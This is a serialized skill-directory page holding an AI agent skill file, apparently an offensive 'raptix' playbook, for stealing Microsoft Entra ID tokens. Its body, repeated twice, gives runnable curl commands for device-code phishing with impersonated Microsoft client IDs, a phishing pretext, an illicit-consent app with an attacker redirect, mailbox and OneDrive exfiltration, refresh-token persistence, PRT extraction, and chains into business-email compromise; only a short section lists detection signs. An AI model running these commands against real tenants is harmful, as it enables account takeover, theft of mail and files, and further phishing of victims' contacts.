[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7DFAPPG0PBSMDJF9PE4B95T":3,"skill-same:01M7DFAPPG0PBSMDJF9PE4B95T":50},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":30,"commitSha":31,"skillDirectory":32,"forksCount":14,"repositoryHtmlUrl":33,"repositoryHomepageUrl":6,"ownerHtmlUrl":34,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":35,"install":36,"resources":49},"01M7DFAPPG0PBSMDJF9PE4B95T","entra-device-code-phishing",null,"Entra ID OAuth device-code phishing for token theft, illicit consent grant via malicious app registration with delegated Graph scopes, refresh-token replay, and primary-refresh-token (PRT) abuse concepts.","Akapi895\u002Fraptix","Akapi895","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F83953516?v=4","01M7DEGNDGERR4F4YETDFVA512","Phạm Anh Tuấn","01M7DEGNEHYZNA920AYM5EH7H8",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fcloud\u002Fentra-device-code-phishing\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: entra-device-code-phishing\ndescription: \"Entra ID OAuth device-code phishing for token theft, illicit consent grant via malicious app registration with delegated Graph scopes, refresh-token replay, and primary-refresh-token (PRT) abuse concepts.\"\nallowed-tools: Bash Read Write\nmetadata:\n  when_to_use: \"entra device code phishing oauth illicit consent malicious app registration delegated scopes refresh token replay prt primary refresh token tokentactics graphrunner\"\n  subdomain: cloud\n  tags: azure, entra-id, phishing, oauth, token-theft\n  mitre_attack: T1528, T1566.002, T1078.004, T1550.001\n---\n\n# Entra Device-Code & Illicit-Consent Phishing\n\nSteal Entra ID tokens without ever owning the password. Two primary primitives:\n1. **Device-code phishing** — abuse the OAuth 2.0 device authorization grant: target enters YOUR code on the real MS login page.\n2. **Illicit consent grant** — register an app, get the user to consent to delegated Graph scopes.\n\nBoth bypass MFA-at-login (the user already MFAd against the real IdP) and produce tokens with broad scope.\n\n## Phase 1: Device-code flow\n\n### Request the device code\n```bash\n# Use a first-party client ID (impersonate a Microsoft app — no consent prompt).\n# AzureCLI: 04b07795-8ddb-461a-bbee-02f9e1bf7b46\n# Teams:    1fec8e78-bce4-4aaf-ab1b-5451cc387264\n# Office:   d3590ed6-52b3-4102-aeff-aad2292ab01c\nCLIENT=04b07795-8ddb-461a-bbee-02f9e1bf7b46\nTENANT=\u003CTENANT>     # or \"common\"\nresp=$(curl -s -X POST \"https:\u002F\u002Flogin.microsoftonline.com\u002F${TENANT}\u002Foauth2\u002Fv2.0\u002Fdevicecode\" \\\n  -d \"client_id=${CLIENT}&scope=https:\u002F\u002Fgraph.microsoft.com\u002F.default offline_access openid profile\")\necho \"$resp\" | jq .\nDEV_CODE=$(echo \"$resp\" | jq -r .device_code)\nUSER_CODE=$(echo \"$resp\" | jq -r .user_code)\necho \"Send target to: https:\u002F\u002Fmicrosoft.com\u002Fdevicelogin  CODE: $USER_CODE\"\n```\n\n### Pretext delivery\nEmail \u002F Teams message saying *\"To join the secure briefing, open `microsoft.com\u002Fdevicelogin` and enter code `\u003CUSER_CODE>`. Code expires in 15 minutes.\"* — the URL and brand are legitimate Microsoft, which makes it slip past most secure-email gateways.\n\n### Poll for the token\n```bash\nwhile :; do\n  r=$(curl -s -X POST \"https:\u002F\u002Flogin.microsoftonline.com\u002F${TENANT}\u002Foauth2\u002Fv2.0\u002Ftoken\" \\\n    -d \"grant_type=urn:ietf:params:oauth:grant-type:device_code&client_id=${CLIENT}&device_code=${DEV_CODE}\")\n  err=$(echo \"$r\" | jq -r .error)\n  case \"$err\" in\n    authorization_pending) sleep 5 ;;\n    null) echo \"$r\" | jq . ; ACCESS=$(echo \"$r\" | jq -r .access_token); REFRESH=$(echo \"$r\" | jq -r .refresh_token); break ;;\n    *) echo \"ERR: $err\" ; break ;;\n  esac\ndone\n```\n\n### Family-of-Client-IDs (FOCI) — single token, all Microsoft apps\nThe above CLIENT is a FOCI app. Trade the refresh token for a token of ANY other FOCI app — no new consent:\n\n```bash\n# Swap to Outlook for mailbox access:\ncurl -s -X POST \"https:\u002F\u002Flogin.microsoftonline.com\u002F${TENANT}\u002Foauth2\u002Fv2.0\u002Ftoken\" \\\n  -d \"client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c&grant_type=refresh_token&refresh_token=${REFRESH}&scope=https:\u002F\u002Foutlook.office.com\u002F.default offline_access\"\n```\n\n`TokenTactics` \u002F `TokenTacticsV2` (PowerShell) automates the swap matrix.\n\n## Phase 2: Illicit consent grant (malicious app)\n\n### Register the attacker app\n```bash\n# Register in YOUR attacker tenant (multi-tenant).\n# Redirect URI: https:\u002F\u002F\u003CATTACKER>\u002Fredirect  ; Sign-in audience: multi-tenant + personal MSA\n# Add delegated scopes (NO admin consent needed):\n#   Mail.Read, Mail.Send, Files.Read.All, offline_access, openid, profile\n# Capture App (client) ID = APP_ID\nAPP_ID=\u003CAPP_ID>\n```\n\n### Craft the consent URL\n```bash\nSCOPES=\"https:\u002F\u002Fgraph.microsoft.com\u002FMail.Read https:\u002F\u002Fgraph.microsoft.com\u002FFiles.Read.All offline_access\"\nREDIR=https:\u002F\u002F\u003CATTACKER>\u002Fredirect\necho \"https:\u002F\u002Flogin.microsoftonline.com\u002Fcommon\u002Foauth2\u002Fv2.0\u002Fauthorize?client_id=${APP_ID}&response_type=code&redirect_uri=${REDIR}&response_mode=query&scope=${SCOPES}&state=phish\"\n```\n\nBrand the app `Contoso HR Portal` or similar; Microsoft renders YOUR app name on the consent screen. If the tenant has *user consent for low-risk delegated scopes* enabled (default in many tenants), the user single-clicks \"Accept\" and you have tokens.\n\n### Exchange code for tokens at your redirect\n```bash\nCODE=\u003CCODE_FROM_REDIRECT>\ncurl -s -X POST \"https:\u002F\u002Flogin.microsoftonline.com\u002Fcommon\u002Foauth2\u002Fv2.0\u002Ftoken\" \\\n  -d \"client_id=${APP_ID}&grant_type=authorization_code&code=${CODE}&redirect_uri=${REDIR}&scope=${SCOPES}&client_secret=\u003CAPP_SECRET>\" \\\n  | jq .\n```\n\n## Phase 3: Token replay\n\n```bash\n# Mail exfil\ncurl -s -H \"Authorization: Bearer $ACCESS\" \\\n  \"https:\u002F\u002Fgraph.microsoft.com\u002Fv1.0\u002Fme\u002Fmessages?\\$top=999\" | jq .\n\n# OneDrive exfil\ncurl -s -H \"Authorization: Bearer $ACCESS\" \\\n  \"https:\u002F\u002Fgraph.microsoft.com\u002Fv1.0\u002Fme\u002Fdrive\u002Froot\u002Fsearch(q='password')\" | jq .\n\n# Persist via refresh token (90-day inactive TTL on consumer, 14-day default on CA-protected tenants)\ncurl -s -X POST \"https:\u002F\u002Flogin.microsoftonline.com\u002Fcommon\u002Foauth2\u002Fv2.0\u002Ftoken\" \\\n  -d \"client_id=${APP_ID}&grant_type=refresh_token&refresh_token=${REFRESH}&scope=${SCOPES}\"\n```\n\n## Phase 4: Primary Refresh Token (PRT) concepts\n\nA PRT is the long-lived token issued to an Entra-joined \u002F Entra-registered Windows device. It is bound to a device key in the TPM. With SYSTEM on the device:\n\n```powershell\n# ROADtools roadtx (post-exploitation, requires local SYSTEM):\nroadtx prt -u \u003CUPN>            # extract PRT cookie via BrowserCore\nroadtx browserprtauth          # use PRT to silently auth as the user → tokens for any FOCI app\n# Or: Lee Christensen \u002F Dirk-jan PoCs — request PRT + session key, mint x-ms-RefreshTokenCredential cookie.\n```\n\nA stolen PRT effectively == user identity until device revocation. Even MFA isn't re-prompted (PRT already carries MFA claim).\n\n## Chains\n- **Device-code phish → FOCI swap → Outlook + OneDrive exfil → Teams pretext → second victim**.\n- **Illicit consent → Mail.Send delegated → internal phishing FROM victim mailbox** (BEC).\n- **Device-code phish on admin → Graph privesc** (see `entra-privesc` § service-principal credential addition).\n- **PRT theft (post-RCE on joined endpoint) → app tokens forever** (until device disabled).\n\n## Tools\n- **TokenTactics \u002F TokenTacticsV2** (Steve Borosh) — PowerShell device-code + FOCI swap.\n- **GraphRunner** (Beau Bullock) — pull mail\u002Ffiles\u002Fteams from a stolen token; pivot via consent.\n- **roadtx** (ROADtools) — full device-code + PRT support.\n- **365-Stealer** — illicit-consent automation.\n- **o365 attack toolkit \u002F Evilginx Microsoft phishlet** — alternative path (full MitM).\n\n## Detection signatures\n- Entra Sign-in log: `Application = Microsoft Authentication Broker` or `Microsoft Azure CLI` from unusual ASN\u002Fcountry = device-code abuse hallmark.\n- Audit log: `Consent to application` event with `ConsentType=User` + `Scopes` containing `Mail.Read\u002FFiles.Read.All` from a non-IT identity.\n- MS Defender for Cloud Apps `Unusual addition of credentials to an OAuth app` alert.\n- Risky sign-in: `unfamiliarFeatures` + `anonymousIP` triggered by token replay from Tor\u002FVPS.\n\n## Decision gate\n- CA blocks unmanaged devices → use FOCI swap to a client whose CA exclusion (`Microsoft Intune Enrollment`) is wider.\n- Tenant has `User consent disabled` → only admin-consent path → social-engineer a Global Admin or pre-existing app-owner.\n- Got Global Admin via consent? Pivot to `entra-privesc` for app-credential persistence (survives password reset).\n- Got mailbox tokens only? Run BEC playbook via Mail.Send before refresh token expires.\n","# Entra Device-Code & Illicit-Consent Phishing\n\nSteal Entra ID tokens without ever owning the password. Two primary primitives:\n1. **Device-code phishing** — abuse the OAuth 2.0 device authorization grant: target enters YOUR code on the real MS login page.\n2. **Illicit consent grant** — register an app, get the user to consent to delegated Graph scopes.\n\nBoth bypass MFA-at-login (the user already MFAd against the real IdP) and produce tokens with broad scope.\n\n## Phase 1: Device-code flow\n\n### Request the device code\n```bash\n# Use a first-party client ID (impersonate a Microsoft app — no consent prompt).\n# AzureCLI: 04b07795-8ddb-461a-bbee-02f9e1bf7b46\n# Teams:    1fec8e78-bce4-4aaf-ab1b-5451cc387264\n# Office:   d3590ed6-52b3-4102-aeff-aad2292ab01c\nCLIENT=04b07795-8ddb-461a-bbee-02f9e1bf7b46\nTENANT=\u003CTENANT>     # or \"common\"\nresp=$(curl -s -X POST \"https:\u002F\u002Flogin.microsoftonline.com\u002F${TENANT}\u002Foauth2\u002Fv2.0\u002Fdevicecode\" \\\n  -d \"client_id=${CLIENT}&scope=https:\u002F\u002Fgraph.microsoft.com\u002F.default offline_access openid profile\")\necho \"$resp\" | jq .\nDEV_CODE=$(echo \"$resp\" | jq -r .device_code)\nUSER_CODE=$(echo \"$resp\" | jq -r .user_code)\necho \"Send target to: https:\u002F\u002Fmicrosoft.com\u002Fdevicelogin  CODE: $USER_CODE\"\n```\n\n### Pretext delivery\nEmail \u002F Teams message saying *\"To join the secure briefing, open `microsoft.com\u002Fdevicelogin` and enter code `\u003CUSER_CODE>`. Code expires in 15 minutes.\"* — the URL and brand are legitimate Microsoft, which makes it slip past most secure-email gateways.\n\n### Poll for the token\n```bash\nwhile :; do\n  r=$(curl -s -X POST \"https:\u002F\u002Flogin.microsoftonline.com\u002F${TENANT}\u002Foauth2\u002Fv2.0\u002Ftoken\" \\\n    -d \"grant_type=urn:ietf:params:oauth:grant-type:device_code&client_id=${CLIENT}&device_code=${DEV_CODE}\")\n  err=$(echo \"$r\" | jq -r .error)\n  case \"$err\" in\n    authorization_pending) sleep 5 ;;\n    null) echo \"$r\" | jq . ; ACCESS=$(echo \"$r\" | jq -r .access_token); REFRESH=$(echo \"$r\" | jq -r .refresh_token); break ;;\n    *) echo \"ERR: $err\" ; break ;;\n  esac\ndone\n```\n\n### Family-of-Client-IDs (FOCI) — single token, all Microsoft apps\nThe above CLIENT is a FOCI app. Trade the refresh token for a token of ANY other FOCI app — no new consent:\n\n```bash\n# Swap to Outlook for mailbox access:\ncurl -s -X POST \"https:\u002F\u002Flogin.microsoftonline.com\u002F${TENANT}\u002Foauth2\u002Fv2.0\u002Ftoken\" \\\n  -d \"client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c&grant_type=refresh_token&refresh_token=${REFRESH}&scope=https:\u002F\u002Foutlook.office.com\u002F.default offline_access\"\n```\n\n`TokenTactics` \u002F `TokenTacticsV2` (PowerShell) automates the swap matrix.\n\n## Phase 2: Illicit consent grant (malicious app)\n\n### Register the attacker app\n```bash\n# Register in YOUR attacker tenant (multi-tenant).\n# Redirect URI: https:\u002F\u002F\u003CATTACKER>\u002Fredirect  ; Sign-in audience: multi-tenant + personal MSA\n# Add delegated scopes (NO admin consent needed):\n#   Mail.Read, Mail.Send, Files.Read.All, offline_access, openid, profile\n# Capture App (client) ID = APP_ID\nAPP_ID=\u003CAPP_ID>\n```\n\n### Craft the consent URL\n```bash\nSCOPES=\"https:\u002F\u002Fgraph.microsoft.com\u002FMail.Read https:\u002F\u002Fgraph.microsoft.com\u002FFiles.Read.All offline_access\"\nREDIR=https:\u002F\u002F\u003CATTACKER>\u002Fredirect\necho \"https:\u002F\u002Flogin.microsoftonline.com\u002Fcommon\u002Foauth2\u002Fv2.0\u002Fauthorize?client_id=${APP_ID}&response_type=code&redirect_uri=${REDIR}&response_mode=query&scope=${SCOPES}&state=phish\"\n```\n\nBrand the app `Contoso HR Portal` or similar; Microsoft renders YOUR app name on the consent screen. If the tenant has *user consent for low-risk delegated scopes* enabled (default in many tenants), the user single-clicks \"Accept\" and you have tokens.\n\n### Exchange code for tokens at your redirect\n```bash\nCODE=\u003CCODE_FROM_REDIRECT>\ncurl -s -X POST \"https:\u002F\u002Flogin.microsoftonline.com\u002Fcommon\u002Foauth2\u002Fv2.0\u002Ftoken\" \\\n  -d \"client_id=${APP_ID}&grant_type=authorization_code&code=${CODE}&redirect_uri=${REDIR}&scope=${SCOPES}&client_secret=\u003CAPP_SECRET>\" \\\n  | jq .\n```\n\n## Phase 3: Token replay\n\n```bash\n# Mail exfil\ncurl -s -H \"Authorization: Bearer $ACCESS\" \\\n  \"https:\u002F\u002Fgraph.microsoft.com\u002Fv1.0\u002Fme\u002Fmessages?\\$top=999\" | jq .\n\n# OneDrive exfil\ncurl -s -H \"Authorization: Bearer $ACCESS\" \\\n  \"https:\u002F\u002Fgraph.microsoft.com\u002Fv1.0\u002Fme\u002Fdrive\u002Froot\u002Fsearch(q='password')\" | jq .\n\n# Persist via refresh token (90-day inactive TTL on consumer, 14-day default on CA-protected tenants)\ncurl -s -X POST \"https:\u002F\u002Flogin.microsoftonline.com\u002Fcommon\u002Foauth2\u002Fv2.0\u002Ftoken\" \\\n  -d \"client_id=${APP_ID}&grant_type=refresh_token&refresh_token=${REFRESH}&scope=${SCOPES}\"\n```\n\n## Phase 4: Primary Refresh Token (PRT) concepts\n\nA PRT is the long-lived token issued to an Entra-joined \u002F Entra-registered Windows device. It is bound to a device key in the TPM. With SYSTEM on the device:\n\n```powershell\n# ROADtools roadtx (post-exploitation, requires local SYSTEM):\nroadtx prt -u \u003CUPN>            # extract PRT cookie via BrowserCore\nroadtx browserprtauth          # use PRT to silently auth as the user → tokens for any FOCI app\n# Or: Lee Christensen \u002F Dirk-jan PoCs — request PRT + session key, mint x-ms-RefreshTokenCredential cookie.\n```\n\nA stolen PRT effectively == user identity until device revocation. Even MFA isn't re-prompted (PRT already carries MFA claim).\n\n## Chains\n- **Device-code phish → FOCI swap → Outlook + OneDrive exfil → Teams pretext → second victim**.\n- **Illicit consent → Mail.Send delegated → internal phishing FROM victim mailbox** (BEC).\n- **Device-code phish on admin → Graph privesc** (see `entra-privesc` § service-principal credential addition).\n- **PRT theft (post-RCE on joined endpoint) → app tokens forever** (until device disabled).\n\n## Tools\n- **TokenTactics \u002F TokenTacticsV2** (Steve Borosh) — PowerShell device-code + FOCI swap.\n- **GraphRunner** (Beau Bullock) — pull mail\u002Ffiles\u002Fteams from a stolen token; pivot via consent.\n- **roadtx** (ROADtools) — full device-code + PRT support.\n- **365-Stealer** — illicit-consent automation.\n- **o365 attack toolkit \u002F Evilginx Microsoft phishlet** — alternative path (full MitM).\n\n## Detection signatures\n- Entra Sign-in log: `Application = Microsoft Authentication Broker` or `Microsoft Azure CLI` from unusual ASN\u002Fcountry = device-code abuse hallmark.\n- Audit log: `Consent to application` event with `ConsentType=User` + `Scopes` containing `Mail.Read\u002FFiles.Read.All` from a non-IT identity.\n- MS Defender for Cloud Apps `Unusual addition of credentials to an OAuth app` alert.\n- Risky sign-in: `unfamiliarFeatures` + `anonymousIP` triggered by token replay from Tor\u002FVPS.\n\n## Decision gate\n- CA blocks unmanaged devices → use FOCI swap to a client whose CA exclusion (`Microsoft Intune Enrollment`) is wider.\n- Tenant has `User consent disabled` → only admin-consent path → social-engineer a Global Admin or pre-existing app-owner.\n- Got Global Admin via consent? Pivot to `entra-privesc` for app-credential persistence (survives password reset).\n- Got mailbox tokens only? Run BEC playbook via Mail.Send before refresh token expires.\n",{"name":5,"metadata":24,"description":7,"allowed-tools":29},{"tags":25,"subdomain":26,"when_to_use":27,"mitre_attack":28},"azure, entra-id, phishing, oauth, token-theft","cloud","entra device code phishing oauth illicit consent malicious app registration delegated scopes refresh token replay prt primary refresh token tokentactics graphrunner","T1528, T1566.002, T1078.004, T1550.001","Bash Read Write","master","8e5d356b795eae2edd4a26509a4b8968e2c4c251","packages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fcloud\u002Fentra-device-code-phishing","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix","https:\u002F\u002Fgithub.com\u002FAkapi895","2026-11-06 17:46:09",{"source":8,"skillName":5,"commands":37,"prompt":47,"zipAvailable":48},[38,41,44],{"tool":39,"command":40},"npx","npx skills add Akapi895\u002Fraptix --skill entra-device-code-phishing",{"tool":42,"command":43},"bunx","bunx skills add Akapi895\u002Fraptix --skill entra-device-code-phishing",{"tool":45,"command":46},"pnpm","pnpm dlx skills add Akapi895\u002Fraptix --skill entra-device-code-phishing","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fcloud\u002Fentra-device-code-phishing\u002FSKILL.md",true,[],[51,58,65,72,79,86],{"skillNo":52,"name":53,"nameZh":6,"description":54,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":55,"categories":56,"keywords":57,"publishedAt":19},"01M7DGM32SRP4FZSPYWY621BKQ","wps-pixie-dust","WPS Pixie-Dust offline nonce attack (reaver -K \u002F pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwps-pixie-dust\u002FSKILL.md",[],[],{"skillNo":59,"name":60,"nameZh":6,"description":61,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":62,"categories":63,"keywords":64,"publishedAt":19},"01M7DGKXXVDTY0KBZZR83VFPZX","wpa3-sae","WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa3-sae\u002FSKILL.md",[],[],{"skillNo":66,"name":67,"nameZh":6,"description":68,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":69,"categories":70,"keywords":71,"publishedAt":19},"01M7DGKSV77ENX3D6TG2HQX9MK","wpa2-psk","WPA\u002FWPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer\u002FSMB encryption mode in 2026.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa2-psk\u002FSKILL.md",[],[],{"skillNo":73,"name":74,"nameZh":6,"description":75,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":76,"categories":77,"keywords":78,"publishedAt":19},"01M7DGKJ9R6YTFRFBSEAJRGGKF","wpa-enterprise-eap","WPA\u002FWPA2\u002FWPA3-Enterprise (802.1X\u002FEAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa-enterprise-eap\u002FSKILL.md",[],[],{"skillNo":80,"name":81,"nameZh":6,"description":82,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":83,"categories":84,"keywords":85,"publishedAt":19},"01M7DGKCFZGKK2EQMWZM1A18S8","krack-fragattacks","KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation\u002Faggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fkrack-fragattacks\u002FSKILL.md",[],[],{"skillNo":87,"name":88,"nameZh":6,"description":89,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":90,"categories":91,"keywords":92,"publishedAt":19},"01M7DGK76MKZQWBXTZN82W7214","evil-twin-karma","Evil-twin rogue AP with KARMA\u002FMana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK\u002Fopen networks. Distinct from wpa-enterprise-eap which targets 802.1X.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fevil-twin-karma\u002FSKILL.md",[],[]]